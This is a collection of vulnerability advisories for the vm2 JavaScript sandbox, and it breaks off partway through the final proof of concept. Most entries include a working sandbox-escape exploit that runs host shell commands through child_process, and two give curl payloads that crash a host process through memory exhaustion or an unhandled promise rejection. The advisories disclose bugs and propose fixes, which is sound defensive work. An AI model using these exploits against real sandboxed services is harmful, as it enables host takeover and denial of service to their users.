See how vm2 project compares to other vendors in security performance
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
It is possible to catch a host exception using the yield expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield iterator as the next value.
PoC
js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function helper() { yield { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); ));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTINGOVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
js const NESTINGOVERRIDE = Object.freeze({ proto: null, vm2: vm2NestingLoader });
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTINGOVERRIDE, // ← injected when nesting:true this.compiler );
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENYRESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTINGOVERRIDE:
js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENYRESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTINGOVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULTFS, [], builtins); // vm2 is now requireable } // ... }
lib/builtin.js:102-106 — NESTINGOVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } }
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches childprocess.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
js const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run( // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['childprocess'] } });
// Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("childprocess").execSync("id").toString()' ); );
console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591): uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
The variant with require: false also works — the outer VM's require setting has no effect:
js new NodeVM({ nesting: true, require: false }).run( const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['childprocess'] } }) .run('module.exports = require("childprocess").execSync("id").toString()'); ); // uid=1000(akshat) ...
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.
What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.
Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.
Summary vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox.
Details BaseHandler.apply() unwraps sandbox-controlled receivers and arguments with otherFromThis() / otherFromThisArguments() and then directly invokes the real host function with ret = otherReflectApply(object, context, args), so any default-exposed host function that can surface a prototype getter becomes a prototype-walking primitive (lib/bridge.js:665-676). BaseHandler.get() special-cases proto and returns the host-side descriptor or proxy target prototype, which is enough for the attacker to reuse the host lookupGetter('proto') accessor repeatedly until the walk lands on host Object.prototype, Array.prototype, or Function.prototype (lib/bridge.js:590-616). Once the attacker has a proxy to a host intrinsic prototype, BaseHandler.set() performs value = otherFromThis(value); return otherReflectSet(object, key, value) === true;, which writes attacker-controlled data directly into the shared host object instead of keeping the mutation sandbox-local; BaseHandler.defineProperty() repeats the same design at otherReflectDefineProperty(object, prop, otherDesc) for descriptor-based writes (lib/bridge.js:641-649, lib/bridge.js:753-774). Existing validation does not stop the attack because the constructor filter only blocks one dangerous-property access pattern, setPrototypeOf() only blocks prototype replacement rather than ordinary property assignment, and containsDangerousConstructor() only protects one later re-unwrapping path instead of the initial host-prototype write sink (lib/bridge.js:494-530, lib/bridge.js:595-610, lib/bridge.js:660-662).
PoC Run the following code snippet and observe that the value of vm2EscapeMarker is polluted: const { VM } = require('vm2'); const vm = new VM(); vm.run( const g = ({}).lookupGetter; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['proto']]); const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of())))); hostObjectProto.vm2EscapeMarker = 'polluted-object-prototype'; ); console.log({}.vm2EscapeMarker)
Impact Sandbox escape and prototype pollution.
Summary
It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes
Details
https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658
BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)
PoC js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', };
let sym;
obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, });
obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('childprocess') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, };
WebAssembly.compileStreaming(obj).catch(() => {});
Impact Sandbox Escape -> RCE
Summary Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.
Details In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.
Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)): - JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works - Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt
This means: 1. timeout: 5000 does NOT protect against this attack 2. A single call allocates the entire requested size at once 3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash
Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).
PoC
Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2"); const vm = new VM({ timeout: 5000 });
// Buffer.alloc bypasses timeout — allocates 100MB on host heap const result = vm.run(Buffer.alloc(10241024100).length); console.log(result); // 104857600 — timeout had no effect
// Control test — JavaScript loop IS caught by timeout try { vm.run(var a=[]; while(true) a.push(1)); } catch(e) { console.log(e.message); // "Script execution timed out after 5000ms" }
HTTP demonstration (OOM crash): bash 1. Confirm server is running curl -s http://localhost:3000/api/execute \ -X POST -H "Content-Type: application/json" \ -d '{"code":"\"alive\""}' => {"result":"\"alive\""}
2. Send Buffer.alloc payload — process crashes with OOM curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"Buffer.alloc(10241024100).length"}' => empty response (process died)
3. Check server logs: FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
Control test — JavaScript loop IS caught by timeout: curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var a=[]; while(true) a.push(1)"}' => {"errors":["Script execution timed out after 5000ms"]} Server stays alive — timeout works for JS, but NOT for Buffer.alloc
Impact - DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection. - Environment-dependent severity: - Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — FATAL ERROR: Reached heap limit was confirmed in testing. - Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash. - Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use from (not ensureThis) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.
PoC
js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( const o = {proto: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } ));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.
PoC
js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( const a = []; Object.defineProperty(Array.prototype, 0, { set(value) { a.f = Buffer.prototype.inspect; value.arr.f.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }); new Buffer(a); ));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Summary
It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.
Details
There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)
PoC
js const g = {}.lookupGetter; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['proto']]); const o = p.call(p.call(a)); const HObject = o.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
const obj = { [sym]: (depth, opt, inspect) => { inspect.constructor("return process.getBuiltinModule('childprocess').execSync('ls',{stdio:'inherit'})")(); }, valueOf: undefined, constructor: undefined, };
WebAssembly.compileStreaming(obj).catch(() => {});
Impact
Sandbox Escape -> RCE
Summary NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '' wildcard). The module builtin exposes Node's Module.load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like childprocess and achieve remote code execution.
Severity Critical (CVSS 3.1: 9.9)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code) - Attack Complexity: Low — no special conditions required; ['', '-childprocess'] is a common, documented pattern - Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case - User Interaction: None - Scope: Changed — escape from sandbox boundary to host system - Confidentiality Impact: High — arbitrary command execution on the host - Integrity Impact: High — arbitrary command execution on the host - Availability Impact: High — arbitrary command execution on the host
Affected Component - lib/builtin.js — makeBuiltinsFromLegacyOptions() (lines 109-117) — includes module in '' expansion - lib/builtin.js — addDefaultBuiltin() (lines 86-90) — loads module with generic readonly wrapper - lib/builtin.js — SPECIALMODULES (line 61) — does NOT include module
CWE - CWE-863: Incorrect Authorization
Description
Root Cause: The module builtin provides unrestricted host module loading
When builtin: ['', '-childprocess'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTINMODULES and adds all modules not explicitly excluded:
js // lib/builtin.js:40 const BUILTINMODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives'))) .filter(s=>!s.startsWith('internal/'));
// lib/builtin.js:109-117 if (Array.isArray(builtins)) { const def = builtins.indexOf('') >= 0; if (def) { for (let i = 0; i < BUILTINMODULES.length; i++) { const name = BUILTINMODULES[i]; if (builtins.indexOf(-${name}) === -1) { addDefaultBuiltin(res, name, hostRequire); } } }
Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module') → true). Since only '-childprocess' is excluded, 'module' passes the filter and gets added.
The module builtin is NOT in SPECIALMODULES (which only covers events, buffer, util), so it gets the generic loader:
js // lib/builtin.js:86-90 function addDefaultBuiltin(builtins, key, hostRequire) { if (builtins.has(key)) return; const special = SPECIALMODULES[key]; builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key))); }
This wraps Node's Module class in a readonly proxy and hands it to the sandbox.
The readonly proxy does not prevent method calls
ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.
BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:
js apply(target, context, args) { const object = getHandlerObject(this); let ret; try { context = otherFromThis(context); args = otherFromThisArguments(args); ret = otherReflectApply(object, context, args); } catch (e) { throw thisFromOtherForThrow(e); } return thisFromOther(ret); }
So Module.load('childprocess') is forwarded to Node's native Module.load in the host context, which loads childprocess without any vm2 allowlist check.
Inconsistent defense: some builtins are isolated, module is not
The codebase IS aware that certain builtins need special handling:
- events: Gets a complete sandbox-native reimplementation via lib/events.js - buffer: Custom loader that only exposes the Buffer class - util: Custom loader that replaces inherits with a sandbox-safe version
But module — which provides access to the host's entire module loading infrastructure via Module.load, Module.resolveFilename, etc. — gets no special treatment at all.
Full execution chain
1. Host configures NodeVM with builtin: ['', '-childprocess'] 2. makeBuiltinsFromLegacyOptions adds 'module' to allowed builtins (not excluded) 3. Sandbox code calls require('module') → resolver finds 'module' in builtins → loadBuiltinModule('module') 4. Loader calls vm.readonly(hostRequire('module')) → returns readonly proxy of Node's Module class 5. Sandbox reads Module.load → BaseHandler.get() returns proxied function 6. Sandbox calls Module.load('childprocess') → BaseHandler.apply() forwards to host 7. Host's Module.load loads childprocess natively (no vm2 check involved) 8. childprocess module proxied back to sandbox 9. Sandbox calls childprocess.execSync('id') → executes on host → RCE
Proof of Concept
js const { NodeVM } = require('vm2');
// Developer thinks childprocess is blocked const vm = new NodeVM({ require: { builtin: ['', '-childprocess'], external: false, }, });
const out = vm.run( const Module = require('module'); // Module.load bypasses vm2's builtin allowlist entirely const cp = Module.load('childprocess'); module.exports = cp.execSync('id').toString(); , 'poc.js');
console.log(out.trim()); // prints host uid/gid — RCE achieved
Impact - Complete builtin allowlist bypass: Any configuration that allows the module builtin (including ['', '-X'] patterns) can load ANY builtin, including explicitly excluded ones. - Remote code execution: Sandboxed code can execute arbitrary commands on the host via childprocess.execSync. - Common configuration affected: The ['', '-childprocess', '-fs'] pattern is documented and widely used by developers who want "all builtins except dangerous ones." - No special conditions: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the '' wildcard. - Additional attack surfaces via module: Beyond load, the Module class also exposes resolveFilename, cache, pathCache, and other internals that could be abused.
Recommended Remediation
Option 1: Exclude module from BUILTINMODULES entirely (Preferred)
The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:
js // lib/builtin.js:40 const DANGEROUSBUILTINS = new Set(['module', 'workerthreads', 'cluster']);
const BUILTINMODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives'))) .filter(s => !s.startsWith('internal/') && !DANGEROUSBUILTINS.has(s));
This prevents module from being included even with the '' wildcard. Consider also blocking workerthreads and cluster which can spawn processes.
Option 2: Add module to SPECIALMODULES with a safe wrapper
If module must be accessible, provide a sandbox-safe version that only exposes safe APIs:
js // lib/builtin.js const SPECIALMODULES = { events: { / ... existing ... / }, buffer: defaultBuiltinLoaderBuffer, util: defaultBuiltinLoaderUtil, module: function defaultBuiltinLoaderModule(vm) { // Only expose safe, read-only metadata — no load, no resolveFilename return vm.readonly({ builtinModules: [...nmod.builtinModules], // Omit load, resolveFilename, cache, createRequire, etc. }); } };
Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.
Credit This vulnerability was discovered and reported by bugbunny.ai.
Summary A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.
Details When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.
- lib/setup-sandbox.js:38 — localPromise wraps the native Promise constructor but does not wrap the executor in try-catch. - lib/setup-sandbox.js:165-230 — resetPromiseSpecies and the .then()/.catch() overrides sanitize the onRejected callback chains, but do not intercept unhandled rejections originating from the executor itself.
The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.
Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.
allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is guaranteed to be unhandled — making allowAsync: false paradoxically more dangerous than true for this vulnerability.
PoC
Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2");
// Works with ANY allowAsync setting — both true and false const vm = new VM({ timeout: 5000, allowAsync: false });
try { const result = vm.run( new Promise(function(r, j) { var e = new Error(); e.name = Symbol(); e.stack; }); ); console.log("Result:", result); // Reaches here (returns Promise object) } catch (err) { console.log("Caught:", err); // Never executed }
console.log("After try-catch"); // Also prints normally
// But on the next microtask tick: // [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string] // Exit code: 1 // // try-catch cannot help — vm.run() returns synchronously, // the rejection fires asynchronously outside any catch scope. // // NOTE: allowAsync: false only blocks async/await syntax and // .then()/.catch() method calls. The Promise constructor itself // still executes, and the unhandled rejection still propagates. // In fact, allowAsync: false makes it WORSE — .catch() is blocked, // so the rejection is guaranteed to be unhandled.
HTTP demonstration (web service impact): bash 1. Confirm server is running curl -s http://localhost:3000/api/execute \ -X POST -H "Content-Type: application/json" \ -d '{"code":"\"alive\""}' => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}
2. Send payload — server process will crash curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'
3. Server is dead (connection refused until restart) curl -s http://localhost:3000/ # => connection refused
Impact - DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default — no special configuration is required for the crash to occur. - Persistent DoS despite restart policies: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single curl request caused the Docker container to restart (confirmed via StartedAt timestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users — each restart is met with another crash before any real request can be served. - Amplification: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact. - Scope: All applications using vm2, regardless of allowAsync setting. allowAsync: false only blocks async/await syntax and .then()/.catch() method calls — the Promise constructor itself still executes, and the unhandled rejection still propagates. In fact, allowAsync: false makes the vulnerability worse because .catch() is blocked, guaranteeing the rejection is always unhandled.
Summary NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.
Severity High (CVSS 3.1: 8.5)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code) - Attack Complexity: High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments - Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case - User Interaction: None - Scope: Changed — the vulnerability is in the sandbox boundary; impact is on the host system - Confidentiality Impact: High — arbitrary file read via host command execution - Integrity Impact: High — arbitrary command execution on the host - Availability Impact: High — arbitrary command execution on the host
Affected Component - lib/resolver-compat.js — CustomResolver.isPathAllowed() (line 53-60) - lib/resolver-compat.js — CustomResolver.loadJS() (line 62-66) - lib/filesystem.js — DefaultFileSystem.resolve() (line 8-10)
CWE - CWE-59: Improper Link Resolution Before File Access
Description
Root Cause: Check/Use Path Discrepancy
The isPathAllowed method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:
js // lib/resolver-compat.js:53-60 isPathAllowed(filename) { return this.rootPaths === undefined || this.rootPaths.some(path => { if (!filename.startsWith(path)) return false; const len = path.length; if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(filename[len]); }); }
The filename passed to this check is resolved via DefaultFileSystem.resolve(), which uses path.resolve():
js // lib/filesystem.js:8-10 resolve(path) { return pa.resolve(path); }
path.resolve() normalizes the path (resolves ., .., and makes it absolute) but does NOT dereference symlinks. A symlink at /root/nodemodules/safe pointing to /outside/root/malicious resolves to /root/nodemodules/safe — passing the prefix check.
However, the actual module loading uses Node's native require(), which does follow symlinks:
js // lib/resolver-compat.js:62-66 loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); mod.exports = vm.readonly(m); }
No Symlink Defenses Exist
A search for realpath, readlink, lstat, or any symlink-aware function across the entire lib/ directory returns zero results. Neither DefaultFileSystem nor VMFileSystem provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:
js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;
Full Execution Chain
1. Host creates NodeVM with require: { external: ['safe'], root: '/tmp/root', context: 'host' } 2. A symlink exists: /tmp/root/nodemodules/safe → /outside/root/vm2/ (e.g., via pnpm, npm link, or workspaces) 3. Sandbox code calls require('safe') 4. DefaultResolver.resolveFull() resolves to /tmp/root/nodemodules/safe/index.js 5. tryFile() calls this.fs.resolve(x) → path.resolve() → /tmp/root/nodemodules/safe/index.js (symlink NOT followed) 6. isPathAllowed() checks if path starts with /tmp/root/ → PASSES 7. loadJS() detects context: 'host', calls this.hostRequire(filename) 8. Node's require() follows the symlink, loads from /outside/root/vm2/index.js 9. Module executes in host realm; exports proxied to sandbox 10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with childprocess)
Proof of Concept
js const path = require('path'); const fs = require('fs'); const os = require('os'); const { NodeVM } = require('vm2');
// Create an "allowed" root directory const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-')); fs.mkdirSync(path.join(root, 'nodemodules'), { recursive: true });
// Symlink inside root pointing to vm2 package outside root // In real deployments: pnpm, npm link, workspaces create these automatically const link = path.join(root, 'nodemodules', 'safe'); fs.symlinkSync(path.resolve(dirname), link, 'dir');
const vm = new NodeVM({ require: { external: ['safe'], root, context: 'host', builtin: [], // no builtins allowed }, });
// Sandbox code loads vm2 from outside root via symlink, // creates a privileged inner NodeVM to get childprocess const out = vm.run( const { NodeVM } = require('safe'); const inner = new NodeVM({ require: { builtin: ['childprocess'] } }); module.exports = inner.run( "module.exports = require('childprocess').execSync('id').toString()", 'inner.js' ); , path.join(root, 'vm.js'));
console.log(out.trim()); // prints host uid/gid — RCE achieved
Impact - Sandbox escape: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context. - Remote code execution: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system. - Bypasses require.root entirely: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present. - Common in production: pnpm (where ALL nodemodules are symlinks), npm workspaces, and npm link all create the symlink conditions required for exploitation. - Silent failure: No error or warning is raised when a symlink traverses outside the root.
Recommended Remediation
Option 1: Dereference symlinks with fs.realpathSync before path validation (Preferred)
Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:
js // lib/filesystem.js — add a realpath method const fs = require('fs');
class DefaultFileSystem { resolve(path) { return pa.resolve(path); }
realpath(path) { return fs.realpathSync(path); } // ... rest unchanged }
js // lib/resolver-compat.js — use realpath in isPathAllowed or before calling it isPathAllowed(filename) { let realFilename; try { realFilename = this.fs.realpath(filename); } catch (e) { return false; // file doesn't exist or can't be resolved } return this.rootPaths === undefined || this.rootPaths.some(path => { if (!realFilename.startsWith(path)) return false; const len = path.length; if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(realFilename[len]); }); }
Also dereference root paths at construction time:
js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => { const resolved = fsOpt.resolve(f); try { return fs.realpathSync(resolved); } catch (e) { return resolved; } }) : undefined;
Tradeoff: realpathSync adds a syscall per path check. Cache results to minimize overhead.
Option 2: Validate the realpath in makeExtensionHandler / checkAccess
Add a realpath check at the enforcement point in Resolver.makeExtensionHandler:
js makeExtensionHandler(vm, name) { return (mod, filename) => { filename = this.fs.resolve(filename); // Dereference symlinks before access check try { const realFilename = fs.realpathSync(filename); if (realFilename !== filename) { // Filename was a symlink — validate the real path too this.checkAccess(mod, realFilename); } } catch (e) { throw new VMError(Access denied to require '${filename}', 'EDENIED'); } this.checkAccess(mod, filename); thisname; }; }
Tradeoff: Fixes it at a higher layer but doesn't protect custom resolvers that bypass makeExtensionHandler.
Credit This vulnerability was discovered and reported by bugbunny.ai.
Summary
Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.
Details
Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux) Trigger: Attacker-controlled code passed to VM.run() Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)
vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.
WebAssembly's trytable instruction with a JSTag catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASM trytable catches it as an opaque externref and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.
PoC
js const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);
new VM().run( const before = typeof process;
const err = new Error("x"); err.name = Symbol();
